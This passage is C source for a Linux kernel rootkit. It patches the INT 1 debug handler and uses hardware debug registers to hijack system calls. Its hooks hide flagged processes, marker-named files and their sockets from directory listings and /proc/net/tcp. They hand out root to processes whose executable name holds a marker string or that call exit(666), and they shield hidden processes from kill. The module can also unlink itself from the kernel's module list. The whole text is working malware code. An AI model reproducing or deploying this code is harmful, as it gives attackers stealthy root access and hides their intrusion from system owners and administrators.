    /* find a candidate for the call .. needs better heuristics */
    while (p[0] != 0xe8)
    {
        p ++;
    }
    DEBUGLOG(("*** found call do_debug %X\n", (unsigned int)p));
    buf[0]  = p[1];
    buf[1]  = p[2];
    buf[2]  = p[3];
    buf[3]  = p[4];

    offset  = *(unsigned int *)buf;
    DEBUGLOG(("*** found call do_debug offset %X\n", offset));

    orig    = offset + (unsigned int)p + 5;
    DEBUGLOG(("*** original do_debug %X\n", orig));

    offset  = my_do_debug - (unsigned int)p - 5;
    DEBUGLOG(("*** want call do_debug offset %X\n", offset));

    p[1]    = (offset & 0x000000ff);
    p[2]    = (offset & 0x0000ff00) >>  8;
    p[3]    = (offset & 0x00ff0000) >> 16;
    p[4]    = (offset & 0xff000000) >> 24;
    DEBUGLOG(("*** patched in new do_debug offset\n"));

    return orig;
}
```

```
void (*__orig_do_debug)(struct pt_regs * regs, unsigned long error_code)
;

/* regs in eax, error_code in edx .. static reg optimized is fine */
static void __my_do_debug(struct pt_regs * regs,
                unsigned long error_code)
{
    struct task_struct *tsk = current;
    siginfo_t info;

    int trap            = -1;
    int control         = 0;
    int s_control       = 0;
    int status          = 0;
    unsigned int dr2    = 0;
    void **sys_p        = (void **)sys_table_global;

    /* get dr6 */
    __asm__ __volatile__ (  "movl %%dr6,%0   \n\t"
                            : "=r" (status)  );

    /* enable irqs ? if (regs->eflags & X86_EFLAGS_IF) */

    /* check for trap on dr0 */
    if (status & DR_TRAP0)
    {
        trap = 0;
        status &= ~DR_TRAP0;
    }

    /* check for trap on dr1 */
    if (status & DR_TRAP1)
    {
        trap = 1;
        status &= ~DR_TRAP1;
    }

    /* check for trap on dr2 */
    if (status & DR_TRAP2)
    {
        trap = 2;
        status &= ~DR_TRAP2;
    }

    /* check for trap on dr3 */
    if (status & DR_TRAP3)
    {
        trap = 3;
        status &= ~DR_TRAP3;
    }

    /* we keep re-setting our control register after operation */

    /* DR0 is our int0x80 handler watch */
    control |= TRAP_GLOBAL_DR0;
    control |= DR_RW_EXECUTE << DR0_RW;
    control |= 0             << DR0_LEN;

#ifdef __SYSENTER_ENABLE__

    /* DR1 is our sysenter handler watch */
    control |= TRAP_GLOBAL_DR1;
    control |= DR_RW_EXECUTE << DR1_RW;
    control |= 0             << DR1_LEN;

#endif

    /* dr0-dr3 handlers */

    switch (trap)
    {
```

```
        /* dr0 handles int 0x80, dr1 handles sysenter */
        case 0:
        case 1:

            /* if we dont have a hook for this call do nothing */
            if (!hook_table[regs->eax])
            {
                __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
                                        "movl %1,%%dr7  \n\t"
                                        :
                                        : "r" (status), "r" (control)   );
                break;
            }

            /* DR2 2nd watch on the syscall_table entry for this syscall */
            dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *);
            /* enable exact breakpoint detection LE/GE */
            s_control   |= TRAP_GLOBAL_DR2;
            s_control   |= TRAP_LE;
            s_control   |= TRAP_GE;
            s_control   |= DR_RW_READ << DR2_RW;
            s_control   |= 3          << DR2_LEN;

            DEBUGLOG(("*** dr0/dr1 trap: setting read watch on syscall_NR of %d at %X\n",
\
                    (unsigned int)regs->eax, dr2));

            /* set dr2 read watch on syscall_table */
            __asm__ __volatile__ (  "movl %0,%%dr2  \n\t"
                                    :
                                    : "r" (dr2) );

            /* set new control .. gives up syscall handler to avoid races */
            __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
                                    "movl %1,%%dr7  \n\t"
                                    :
                                    : "r" (status), "r" (s_control)   );

            /* if vm86 mode .. pass it on to orig */
            if (regs->eflags & VM_MASK)
                goto orig_do_debug;

            break;

        /* handle the watch on syscall_table .. return patched address */
        case 2:
            DEBUGLOG(("*** got dr2 trap (syscall_table watch)\n"));

            /* clear dr2 watch */
            __asm__ __volatile__ (  "xorl %eax,%eax \n\t"
                                    "movl %eax,%dr2 \n\t"   );

            /* restore old int0x80 handler control */
            __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
                                    "movl %1,%%dr7  \n\t"
                                    :
                                    : "r" (status), "r" (control)   );

            /*
                At the time of the trap1 eip is pointing at syscall
                so .. we just set the eip for the task to hook :P

                NOTE:

                eax has our syscall number for both sysenter/int0x80
            */

            if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax])
            {
                /* double check .. verify eip matches original */
                unsigned int verify_hook = (unsigned int)sys_p[regs->eax];
```

```
                if (regs->eip == verify_hook)
                {
                    regs->eip = (unsigned int)hook_table[regs->eax];
                    DEBUGLOG(("*** hooked __NR_%d at %X to %X\n", regs->eax, verify_hook,
\
                                (unsigned int)hook_table[regs->eax]));
                }
            }

            if (regs->eflags & VM_MASK)
                goto orig_do_debug;

            break;

        case 3:
            DEBUGLOG(("*** got dr3 trap\n"));
            __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
                                    "movl %1,%%dr7  \n\t"
                                    :
                                    : "r" (status), "r" (control)   );
            break;

        default:
            DEBUGLOG(("*** unhandled trap"));

        orig_do_debug:

            /* call through to original int 1 handler */
            (*__orig_do_debug)(regs, error_code);

            /* restore our control just in case */
            __asm__ __volatile__ (  "movl %0,%%dr7  \n\t"
                                    :
                                    : "r" (control) );
    }

    /* set the resume flag after trap .. clear trap flag */
    if (trap >= 0)
    {
        regs->eflags |= X86_EFLAGS_RF;
        regs->eflags &= ~X86_EFLAGS_TF;
    }
}

unsigned int h0x01_global    = 0;

static void __exit exit_DR(void)
{
    struct watch watches = { 0, 0, 0, 0, 0, 0 };

    DEBUGLOG(("******* UNLOADING IA32 DR HOOKING ENGINE *******\n"));

    /* clear any breakpoints on all cpu's */
    on_each_cpu((void (*)())__set_watch, &watches, 0, 0);

    __get_and_set_do_debug_2_6(h0x01_global, (unsigned int)__orig_do_debug);

    __uninit_hook_table();

    return;
}

/*
    This should:

    1) kalloc a page for the handler/hooks
    2) install the handler/hooks
    3) return without loading

    NOTE:
    Right now it just uses a module load logic for development
```

```
    debugging simplification.

*/

static int __init init_DR(void)
{
    unsigned int h0x80          = 0;
    unsigned int h0x01          = 0;
    unsigned int table          = 0;
    unsigned int syscall_call   = 0;
    unsigned int sysenter_entry = 0;
    struct watch watches        = { 0, 0, 0, 0, 0, 0 };

    DEBUGLOG(("******* LOADING IA32 DR HOOKING ENGINE *******\n"));

    h0x80 = __get_int_handler(0x80);
    DEBUGLOG(("*** loader: handler for INT 128: %X\n", h0x80));

    table               = __get_syscall_table(h0x80, RETURN_SYSCALL_TABLE);
    syscall_call        = __get_syscall_table(h0x80, RETURN_SYSCALL_CALL);
    sys_table_global    = table;
    DEBUGLOG(("*** loader: syscall_table: %X\n", table));
    DEBUGLOG(("*** loader: syscall_call call *table(,eax,4): %X\n", syscall_call));

    h0x01 = __get_int_handler(0x1);
    DEBUGLOG(("*** loader: handler for INT 1: %X\n", h0x01));

    /* XXX: only for debug cleanup on unload */
    h0x01_global    = h0x01;

    /* patch the do_debug call offset in the INT 1 handler */
    __orig_do_debug = (void (*)())__get_and_set_do_debug_2_6(h0x01, \
                                (unsigned int)__my_do_debug);
    DEBUGLOG(("*** loader: INT 1 handler patched to use __my_do_debug\n"));

     __init_hook_table();
    DEBUGLOG(("*** loader: initialized hook_table\n"));

    /*
        Set a breakpoint on sycall handler in dr0 for 1 byte
    */

    /* for DR_RW_EXECUTE len has to be 0 (1 byte) (IA32_SDM_3B.pdf) */

    /* syscall_call watch into dr0 */
    watches.ctrl    |= TRAP_GLOBAL_DR0;
    watches.ctrl    |= DR_RW_EXECUTE << DR0_RW;
    watches.ctrl    |= 0             << DR0_LEN;
    watches.dr0     = syscall_call;

#ifdef __SYSENTER_ENABLE__

    /* we can find the 2nd addie by searching backwards for call *table(,%eax,4) ! :) */
    sysenter_entry = __get_sysenter_entry(syscall_call, table);
    DEBUGLOG(("*** loader: systenter_entry call *table(,eax,4): %X\n", sysenter_entry));

    /* if we were able to find the sysentry_entry syscall_table call .. hooray */
    if (sysenter_entry)
    {
        /* sysenter_entry watch into dr1 */
        watches.ctrl    |= TRAP_GLOBAL_DR1;
        watches.ctrl    |= DR_RW_EXECUTE << DR1_RW;
        watches.ctrl    |= 0             << DR1_LEN;
        watches.dr1     = sysenter_entry;
    }

#endif

    /* support smp */
    on_each_cpu((void (*)())__set_watch, &watches, 0, 0);
```

```
#ifdef __UNLINK_LKM__

    list_del(&THIS_MODULE->list);

#endif

    /* when we switch to kmalloc .. return -EINVAL */
    return 0; //-EINVAL;
}

/*
    main module init/exit
*/

module_init(init_DR);
module_exit(exit_DR);

/* taint-safe */
MODULE_LICENSE("GPL");
```

hooktable.h

```
/* external hook define file */

#define __EXTERN_HOOK_TABLE__

unsigned int sys_table_global = 0;

void *hook_table[NR_syscalls];

/* hook prototypes - use this hook as your reference */
asmlinkage static void hook_example_exit(int status);

/* backporting Daniel's existing code to new hooking engine -bas */

/* Daniel Palacio's includes */
#include <linux/init.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <linux/stddef.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/dirent.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/time.h>
#include <linux/stat.h>
#include <linux/file.h>
#include <linux/syscalls.h>
#include <linux/ip.h>
#include <linux/netdevice.h>
#include <linux/proc_fs.h>
#include <linux/resource.h>
#include <linux/spinlock.h>
#include <linux/proc_fs.h>
#include <linux/dcache.h>

#include <net/tcp.h>
#include <asm/uaccess.h>
#include <asm/processor.h>
#include <asm/unistd.h>
#include <asm/ioctls.h>
#include <asm/termbits.h>

#ifdef __NET_NET_NAMESPACE_H
    #include <net/net_namespace.h>
#endif
```

```
/* define for Daniel's code */
#define SHRT_MAX    0x7fff
#define VERSION     1
#define PROC_HIDDEN 0x00000020
#define FILE_HIDE   0x200000
#define EVIL_GID    2701 /* 37 73 */

signed short hidden_pids[SHRT_MAX];
unsigned long long inode    = 0;   /* The inode of /etc/modules */
static char *HIDE           = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00";
struct proc_dir_entry *tcp;

int errno;

#ifdef __NET_NET_NAMESPACE_H
    struct proc_dir_entry *proc_net;
#else
    extern struct proc_dir_entry *proc_net;
#endif

/* Daniel Palacio's hooks */
asmlinkage static int hook_getdents64 (unsigned int fd, struct dirent64 *dirp, unsigned
int count);
asmlinkage static int hook_getdents32 (unsigned int fd, struct dirent *dirp, unsigned int
count);
asmlinkage static int hook_execve(const char *filename, char *const argv[], char *const
envp[]);
asmlinkage static int hook_socketcall(int call, unsigned long *args);
asmlinkage static int hook_fork(struct pt_regs regs);
asmlinkage static void hook_exit(int error_code);
asmlinkage static int hook_chdir(const char *path);
asmlinkage static int hook_open(const char *pathname, int flags, int mode);
asmlinkage static int hook_kill(int pid, int sig);
asmlinkage static int hook_getpriority(int which, int who);

/* Daniel Palacio's non-syscall hook prototypes */
static int hook_tcp4_seq_show(struct seq_file *seq, void *v);
int (*original_tcp4_seq_show)(struct seq_file *seq, void *v);

/* main hook uninit */
static void __uninit_hook_table(void)
{
    /* unload any additional non-syscall hooks here */

    /* un-do Daniel's tcp hook */
    tcp = proc_net->subdir->next;

    /*  tcp4_seq_show() with original */
    while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))
        tcp = tcp->next;

    if (tcp != proc_net->subdir)
        ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = original_tcp4_seq_show;
}

/* main hook init */
static void __init_hook_table(void)
{

    int i;

    /* clear table */
    for (i = 0; i < NR_syscalls; i ++)
        hook_table[i] = NULL;

    /* init hooks */
    hook_table[__NR_getdents64]     = (void *)hook_getdents64;
    hook_table[__NR_getdents]       = (void *)hook_getdents32;
    hook_table[__NR_chdir]          = (void *)hook_chdir;
    hook_table[__NR_open]           = (void *)hook_open;
    hook_table[__NR_execve]         = (void *)hook_execve;
```

```
    hook_table[__NR_socketcall]     = (void *)hook_socketcall;
    hook_table[__NR_fork]           = (void *)hook_fork;
    hook_table[__NR_exit]           = (void *)hook_exit;
    hook_table[__NR_kill]           = (void *)hook_kill;
    hook_table[__NR_getpriority]    = (void *)hook_getpriority;

    /* example hook */
    //hook_table[__NR_exit]         = (void *)hook_example_exit;

    /* any additional (non-syscall) hooks go here */

    /* clear Daniel's hidden pids */
    memset(hidden_pids, 0, sizeof(hidden_pids));

    /* Daniel Palacio's tcp hook */
    #ifdef __NET_NET_NAMESPACE_H
        proc_net = init_net.proc_net;
    #endif

    if(proc_net == NULL)
        return;

    tcp = proc_net->subdir->next;
    while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))
        tcp = tcp->next;

    if (tcp != proc_net->subdir)
    {
        original_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;
        ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hook_tcp4_seq_show;
    }
}

/* example hook declarations */

asmlinkage /* required: args passed on stack to syscall */
static void hook_example_exit(int status)
{
    /* standard hook prologue */
    asmlinkage int (*orig_exit)(int status);
    void **sys_p    = (void **)sys_table_global;
    orig_exit       = (int (*)())sys_p[__NR_exit];

    printk("*** !!!HOORAY!!! -> hook_example_exit(%d) @ %X called\n", \
            status, (unsigned int)hook_example_exit);

    if(status == 666)
    {
        current->uid    = 0;
        current->gid    = 0;
        current->euid   = 0;
        current->egid   = 0;
    }
    else
        return orig_exit(status);
}

/* XXXXXXXXXXXXXXXXXXXX DANIEL PALACIO WROTE THE FOLLOWING XXXXXXXXXXXXXXXXXXX */

asmlinkage /* modified this .. but still not happy -bas */
static int hook_getdents64 (unsigned int fd, struct dirent64 __user *dirp, unsigned int
count)
{
    struct dirent64 *our_dirent;
    struct dirent64 *their_dirent;
    struct dirent64 *p;
    struct inode *proc_node;
    long their_len  = 0;
    long our_len    = 0;
    void **sys_p    = (void **)sys_table_global;
```

```
    asmlinkage int (*original_getdents64)(unsigned int fd, struct dirent64 __user *dirp,
unsigned int count) \
                                = sys_p[__NR_getdents64];

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
    proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
    proc_node = current->files->fd[fd]->f_dentry->d_inode;
#endif

    their_dirent    = (struct dirent64 *) kmalloc(count, GFP_KERNEL);
    our_dirent      = (struct dirent64 *) kmalloc(count, GFP_KERNEL);

    /* can't read into kernel land due to !access_ok() check in original */
    their_len = original_getdents64(fd, dirp, count);

    if (their_len <= 0)
    {
        kfree(their_dirent);
        kfree(our_dirent);
        return their_len;
    }

    /* hidden processes get to see life */
    if (current->flags & PROC_HIDDEN)
    {
        kfree(their_dirent);
        kfree(our_dirent);
        return their_len;
    }

    /* copy out the original results */
    copy_from_user(their_dirent, dirp, their_len);

    p = their_dirent;
    while (their_len > 0)
    {
        int next        = p->d_reclen;
        int hide_proc   = 0;
        char *adjust    = (char *)p;

        /* See if we are looking at a process */
        if (proc_node->i_ino == PROC_ROOT_INO)
        {
            struct task_struct *htask = current;
        #ifdef __DEBUG__
            printk("*** getdents64 dealing with proc entry\n");
        #endif
            for_each_process(htask)
            {
                if(htask->pid == simple_strtoul(p->d_name, NULL, 10))
                {
                    if (htask->flags & PROC_HIDDEN)
                        hide_proc = 1;

                    break;
                }
            }
        }

        /* Hide processes flagged or filenames starting with HIDE*/
        if ((hide_proc == 1) || (strstr(p->d_name, HIDE) != NULL))
        {
        #ifdef __DEBUG__
            printk("*** getdents64 hiding: %s\n", p->d_name);
        #endif
        }
        else
        {
            memcpy((char *)our_dirent + our_len, p, p->d_reclen);
            our_len += p->d_reclen;
```

```
        }

        adjust      += next;
        p           = (struct dirent64 *)adjust;
        their_len   -= next;
    }

    /* clear the userland completely */
    memset(their_dirent, 0, count);
    copy_to_user((void *) dirp, (void *) their_dirent, count);

    /* update userland with faked results */
    copy_to_user((void *) dirp, (void *) our_dirent, our_len);

    kfree(our_dirent);
    kfree(their_dirent);

    return our_len;
}

asmlinkage /* modified this .. but still not happy -bas */
static int hook_getdents32 (unsigned int fd, struct dirent __user *dirp, unsigned int
count)
{
    struct dirent *our_dirent;
    struct dirent *their_dirent;
    struct dirent *p;
    struct inode *proc_node;
    long their_len  = 0;
    long our_len    = 0;
    void **sys_p    = (void **)sys_table_global;
    asmlinkage int (*original_getdents32)(unsigned int fd, struct dirent __user *dirp,
unsigned int count) \
                    = sys_p[__NR_getdents];


#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
    proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
    proc_node = current->files->fd[fd]->f_dentry->d_inode;
#endif

    their_dirent    = (struct dirent *) kmalloc(count, GFP_KERNEL);
    our_dirent      = (struct dirent *) kmalloc(count, GFP_KERNEL);

    /* can't read into kernel land due to !access_ok() check in original */
    their_len = original_getdents32(fd, dirp, count);

    if (their_len <= 0)
    {
        kfree(their_dirent);
        kfree(our_dirent);
        return their_len;
    }

    /* hidden processes get to see life */
    if (current->flags & PROC_HIDDEN)
    {
        kfree(their_dirent);
        kfree(our_dirent);
        return their_len;
    }

    /* copy out the original results */
    copy_from_user(their_dirent, dirp, their_len);

    p = their_dirent;
    while (their_len > 0)
    {
        int next        = p->d_reclen;
        int hide_proc   = 0;
```

```
        char *adjust    = (char *)p;

        /* See if we are looking at a process */
        if (proc_node->i_ino == PROC_ROOT_INO)
        {
            struct task_struct *htask = current;
        #ifdef __DEBUG__
            printk("*** getdents32 dealing with proc entry\n");
        #endif
            for_each_process(htask)
            {
                if(htask->pid == simple_strtoul(p->d_name, NULL, 10))
                {
                    if (htask->flags & PROC_HIDDEN)
                        hide_proc = 1;

                    break;
                }
            }
        }

        /* Hide processes flagged or filenames starting with HIDE*/
        if ((hide_proc == 1) || (strstr(p->d_name, HIDE) != NULL))
        {
        #ifdef __DEBUG__
            printk("*** getdents32 hiding: %s\n", p->d_name);
        #endif
        }
        else
        {
            memcpy((char *)our_dirent + our_len, p, p->d_reclen);
            our_len += p->d_reclen;
        }

        adjust      += next;
        p           = (struct dirent *)adjust;
        their_len   -= next;
    }

    /* clear the userland completely */
    memset(their_dirent, 0, count);
    copy_to_user((void *) dirp, (void *) their_dirent, count);

    /* update userland with faked results */
    copy_to_user((void *) dirp, (void *) our_dirent, our_len);

    kfree(our_dirent);
    kfree(their_dirent);

    return our_len;
}

/*
    The hacked execve will fix the flag to add our PROC_HIDDEN
    Once set on parent, flag will be copied automagically by the
    kernel to its childs. We also give root priviledges, just for fun.
*/

asmlinkage
static int hook_execve(const char *filename, char *const argv[], char *const envp[])
{
    int ret;
    void **sys_p = (void **)sys_table_global;
    asmlinkage int (*original_execve)(const char *filename, char *const argv[], char
*const envp[]) = sys_p[__NR_execve];

    if(current->flags & PROC_HIDDEN)
    {
        if (current->pid > 0 && current->pid < SHRT_MAX)
            hidden_pids[current->pid] = 1;
    }
```

```
    if((strstr(filename, HIDE) != NULL))
    {
        current->uid    = 0;
        current->euid   = 0;
        current->gid    = EVIL_GID;
        current->egid   = EVIL_GID;
        current->flags  = current->flags | PROC_HIDDEN;
        if (current->pid > 0 && current->pid < SHRT_MAX)
            hidden_pids[current->pid] = 1;
    }
    ret = (*original_execve)(filename, argv, envp);
    return ret;
}

/*
    BUG: This is not the sys_fork in the syscall table it has more args
    its hacked_sys_fork(struct pt_regs)
    http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
*/

asmlinkage
static int hook_fork(struct pt_regs regs)
{
    int ret;
    void **sys_p = (void **)sys_table_global;
    asmlinkage int (*original_sys_fork)(struct pt_regs regs) = sys_p[__NR_fork];

    ret = (*original_sys_fork)(regs);
#ifdef __DEBUG__
    printk("return from sys_fork = %d", ret);
    printk("current=0x%p ret is %d", current, ret);
#endif
    if((current->flags & PROC_HIDDEN) && ret > 0 && ret < SHRT_MAX)
    {
        hidden_pids[ret] = 1;
    }
    return ret;
}

asmlinkage
static int hook_kill(int pid, int sig)
{
    void **sys_p = (void **)sys_table_global;
    asmlinkage long (*original_sys_kill)(int pid, int sig) = sys_p[__NR_kill];

    if(current->flags & PROC_HIDDEN)
    {
        return original_sys_kill(pid, sig);
    }
    if((pid > 0 && pid < SHRT_MAX) && hidden_pids[pid] == 1)
    {
        return -1;
    }
    return original_sys_kill(pid, sig);
}

asmlinkage
static void hook_exit(int code)
{
    void **sys_p = (void **)sys_table_global;
    asmlinkage long (*original_sys_exit)(int code) = sys_p[__NR_exit];

    if (current->pid > 0 && current->pid < SHRT_MAX)
        hidden_pids[current->pid] = 0;
    return original_sys_exit(code);
}

asmlinkage
static int hook_getpriority(int which, int who)
{
```

```
    void **sys_p = (void **)sys_table_global;
    asmlinkage int (*original_sys_getpriority)(int which, int who) =
sys_p[__NR_getpriority];

    if(current->flags&PROC_HIDDEN)
    {
        /* Hidden processes see all */
        return (*original_sys_getpriority)(which, who);
    }

    if(who < 0 || who > SHRT_MAX)
    {
        return (*original_sys_getpriority)(which, who);
    }
    if(which == PRIO_PROCESS && who > 0 && who < SHRT_MAX && hidden_pids[who])
    {
        errno = -1;
        return -ESRCH;
    }
    return (*original_sys_getpriority)(which, who);
}

/*
    When creating a new socket check if caller is hidden, if so set the socket as hidden.
    FILE_HIDE since sockets are files.
*/

asmlinkage
static int hook_socketcall(int call, unsigned long *args)
{
    long ret;
    struct file *filep;

    void **sys_p = (void **)sys_table_global;
    asmlinkage int (*original_socket_call)(int call, unsigned long *args) =
sys_p[__NR_socketcall];

    ret = original_socket_call(call, args);
    if((current->flags & PROC_HIDDEN) && ret > 0)
    {
        filep = fget(ret);
        if(filep == NULL)
        {
            /* some call will create sockets(recv, send) they will be destroyed anyway */
            return ret;
        }
        filep->f_flags = filep->f_flags | FILE_HIDE;

    }
    return ret;
}

/*
    This function is called when /net/proc/tcp is read, its in charge of
    writing the data about current sockets, so we need to subvert that data.
*/

static int hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct sock *sock = (struct sock *) v;
    struct socket *socke;
    struct file *filep;

  /*
  //debbuging
    struct inet_sock *inet;
    __be32 dest;
    __be32 src;
  __u16 destp;
  __u16 srcp;
  */
```

```
    /* First call, v is just a number, it prints the headers */
    if(v == SEQ_START_TOKEN)
    {
        return (*original_tcp4_seq_show)(seq, v);
    }

    /*
    // This is great for debugging
    inet = inet_sk(sock);
    dest = inet->daddr;
    src = inet->rcv_saddr;
    destp = ntohs(inet->dport);
    srcp = ntohs(inet->sport);
    printk("\n%d:%d %d:%d\n", src, srcp, dest, destp);
    printk("current is %s and flags are %d\n", current->comm, current->flags);
    */

    /* Get the associated socket to sock, anf from there the file */

    socke = sock->sk_socket;
    /* Dont know why this happens, but sk_socket get set to 1 */
    if(socke == NULL || (int)socke == 1)
    {
        return 0;
    }
    filep = socke->file;
    if(current->flags & PROC_HIDDEN)
    {
        /* Hidden processes see all */
        return (*original_tcp4_seq_show)(seq, v);
    }
    /* Check if its not hidden */
    if(!(filep->f_flags & FILE_HIDE))
    {
        /* Not hidden, write all data */
        return (*original_tcp4_seq_show)(seq, v);
    }
    else
    {
        /*This socket is hidden, dont print anything about it  */
        return 0;
    }
}

/* limited /proc/ based listing hiding */

/*
    I modified these to be proc aware properly -bas
*/

asmlinkage
static int hook_chdir(const char __user *path)
{
    int fd          = 0;
    struct inode *inode;

    void **sys_p = (void **)sys_table_global;
    asmlinkage int (*original_sys_chdir)(const char *path) = sys_p[__NR_chdir];
    asmlinkage int (*original_sys_open)(const char *pathname, int flags, int mode) =
sys_p[__NR_open];
    asmlinkage int (*original_sys_close)(int fd) = sys_p[__NR_close];

    if (current->flags & PROC_HIDDEN)
        return original_sys_chdir(path);

    fd = original_sys_open(path, O_RDONLY, 0);
    if (fd < 0)
        goto error_fd;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
```

```
    inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
    inode = current->files->fd[fd]->f_dentry->d_inode;
#endif

    /* check if file belongs to our egid */
    if (inode->i_gid == EVIL_GID)
    {
        original_sys_close(fd);
        return -ENOENT;
    }

    original_sys_close(fd);

error_fd:
    return original_sys_chdir(path);
}

asmlinkage
static int hook_open(const char __user *pathname, int flags, int mode)
{
    int fd              = 0;
    struct inode *inode;

    void **sys_p = (void **)sys_table_global;
    asmlinkage int (*original_sys_open)(const char *pathname, int flags, int mode) =
sys_p[__NR_open];
    asmlinkage int (*original_sys_close)(int fd) = sys_p[__NR_close];

    if (current->flags & PROC_HIDDEN)
        return original_sys_open(pathname, flags, mode);

    fd = original_sys_open(pathname, flags, mode);
    if (fd < 0)
        goto out;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
    inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
    inode = current->files->fd[fd]->f_dentry->d_inode;
#endif

    if (inode->i_gid == EVIL_GID)
    {
        original_sys_close(fd);
        return -ENOENT;
    }

out:
    return fd;
}
```